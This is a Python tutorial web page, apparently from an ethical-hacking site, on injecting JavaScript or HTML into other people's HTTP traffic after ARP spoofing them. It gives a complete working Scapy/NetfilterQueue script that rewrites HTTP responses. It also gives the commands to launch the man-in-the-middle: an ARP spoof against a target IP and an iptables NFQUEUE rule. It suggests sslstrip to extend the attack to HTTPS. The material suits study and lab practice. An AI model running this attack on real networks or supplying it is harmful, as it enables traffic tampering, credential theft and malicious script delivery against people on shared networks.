Ready to take Python coding to a new level? Explore our Python Code Generator. The perfect tool to get your code up and running in no time. Start now!
After performing ARP spoofing on a target computer in a network, you can do many types of attacks. As you may already know, when you ARP spoof a target on a network, you will be the man-in-the-middle, which means every packet that's being transmitted is seen and can be modified by the attacker.
In this tutorial, you will learn how to inject Javascript (or even HTML and CSS) code into HTTP packets in a network using the Scapy library in Python.
Scapy is a packet manipulation tool for computer networks written in Python. It runs natively on Linux and provides us with the ability to sniff, read, and modify packets easily.
To be able to modify packets on the fly, you have to:
FORWARD
rule on the iptables command.Get: Build 24 Ethical Hacking Scripts & Tools with Python Book
First, let's install the required libraries for this tutorial:
$ pip install scapy==2.4.5 netfilterqueue colorama
If you struggle to install Scapy on Debian/Ubuntu, check this tutorial.
NetfilterQueue provides access to packets matched by an iptables rule on Linux. Therefore, the packets can be modified, dropped, accepted, or reordered.
We'll be using colorama to print in colors.
First, let's import our libraries and initialize the colors:
from scapy.all import *
from colorama import init, Fore
import netfilterqueue
import re
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RESET = Fore.RESET
Next, to bind to the NetfilterQueue, we have to make a function that accepts the packet as a parameter, and we will do the packet modification there. The function will be long and therefore split into two parts:
def process_packet(packet):
"""
This function is executed whenever a packet is sniffed
"""
# convert the netfilterqueue packet into Scapy packet
spacket = IP(packet.get_payload())
if spacket.haslayer(Raw) and spacket.haslayer(TCP):
if spacket[TCP].dport == 80:
# HTTP request
print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except Exception as e:
# raw data cannot be decoded, apparently not HTML
# forward the packet exit the function
packet.accept()
return
# remove Accept-Encoding header from the HTTP request
new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
# set the new data
spacket[Raw].load = new_load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
Download: Build 24 Ethical Hacking Scripts & Tools with Python Book
This is only half of the function:
packet.get_payload()
by an IP()
packet.Raw
layer (some kind of data) has a TCP layer, and the destination port is 80, then it's definitely an HTTP request.Accept-Encoding
header, if it's available, then we simply remove it so we can get the HTTP responses as raw HTML code and not some kind of compression such as gzip.None
, so Scapy will automatically re-calculate them.Next, here's the other part of detecting HTTP responses:
if spacket[TCP].sport == 80:
# HTTP response
print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except:
packet.accept()
return
# if you want to debug and see the HTML data
# print("Load:", load)
# Javascript code to add, feel free to add any Javascript code
added_text = "<script>alert('Javascript Injected successfully!');</script>"
# or you can add HTML as well!
# added_text = "<p><b>HTML Injected successfully!</b></p>"
# calculate the length in bytes, each character corresponds to a byte
added_text_length = len(added_text)
# replace the </body> tag with the added text plus </body>
load = load.replace("</body>", added_text + "</body>")
if "Content-Length" in load:
# if Content-Length header is available
# get the old Content-Length value
content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
# re-calculate the content length by adding the length of the injected code
new_content_length = content_length + added_text_length
# replace the new content length to the header
load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
# print a message if injected
if added_text in load:
print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}")
# if you want to debug and see the modified HTML data
# print("Load:", load)
# set the new data
spacket[Raw].load = load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
# accept all the packets
packet.accept()
Now, if the source port is 80, then it's an HTTP response, and that's where we should modify our packet:
load
attribute of the packet.</body>
), then we can simply replace that with the injected code (such as JS) and append the </body>
back at the end.load
variable is modified, then we need to re-calculate the Content-Length
header that is sent on the HTTP response, we add the length of the injected code to the original length and set it back using re.sub()
function. If the text is in the load, we print a green message indicating we have successfully modified the HTML of an HTTP response.load
back and removed the length and checksum as before, so Scapy will re-calculate them.Now our function is ready, let's run the queue:
if __name__ == "__main__":
# initialize the queue
queue = netfilterqueue.NetfilterQueue()
# bind the queue number 0 to the process_packet() function
queue.bind(0, process_packet)
# start the filter queue
queue.run()
After instantiating NetfilterQueue()
, we bind our previously defined function to the queue number 0 and then run the queue.
Please save the file as http_code_injector.py
, and let's initiate the attack.
To get started, you must have two machines connected to the same network. The target machine can be on any OS. However, the attacker machine needs to be on Linux. Otherwise, this won't work.
Once you have the IP address of the target machine as well as the gateway (router or access point) IP, grab this ARP Spoofing Python script and run it on the attacker machine:
$ python3 arp_spoof.py 192.168.43.112 192.168.43.1
In my case, 192.168.43.112 is the IP address of the target machine, and the gateway IP is 192.168.43.1; here's what the output will look like:
[!] Enabling IP Routing...
[!] IP Routing enabled.
This enabled IP forwarding, which is necessary to forward packets on the attacker's machine. If you want to see ARP packets sent by this script, simply pass -v
or --verbose
parameter.
Related: Build 24 Ethical Hacking Scripts & Tools with Python Book
Now that you're the man-in-the-middle, go ahead and add the FORWARD
rule on iptables:
$ iptables -I FORWARD -j NFQUEUE --queue-num 0
After you run this command, you'll notice the target machine will lose Internet connectivity, and that's because packets are stuck on the attacker's machine, and we need to run our script to get it back again.
Now we simply run the Python code of this tutorial:
$ python http_code_injector.py
Now go ahead on the target machine and browse any HTTP website, such as ptsv2.com or http://httpbin.org, and you'll see something like this on the attacker's machine:
On the browser on the target machine, you'll see the alert that we injected:
You'll also see the injected code if you view the page source:
Awesome! Now you're not limited to this! You can inject HTML, CSS, replace the title, replace styles, replace images, and many more; the limit is your imagination.
When you finish the attack, make sure you CTRL+C the ARP spoofing script and run iptables --flush
command to turn everything back to normal.
For more detail about ARP spoofing, check our tutorial on this.
Note that the code will work only on HTTP websites. If you want it to work on HTTPS, consider using tools like sslstrip to downgrade the target machine from HTTPS to HTTP.
Finally, we have an Ethical Hacking with Python Ebook, where we build 24 hacking tools and scripts from scratch using Python! Make sure to check it out here if you're interested.
Please note that we do not take any responsibility for the damage you do with the code, use this on your machine, or request permission to test it for learning purposes.
Learn also: How to Sniff HTTP Packets in the Network using Scapy in Python.
Happy hacking ♥
Take the stress out of learning Python. Meet our Python Code Assistant – your new coding buddy. Give it a whirl!
View Full Code Analyze My Code
Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!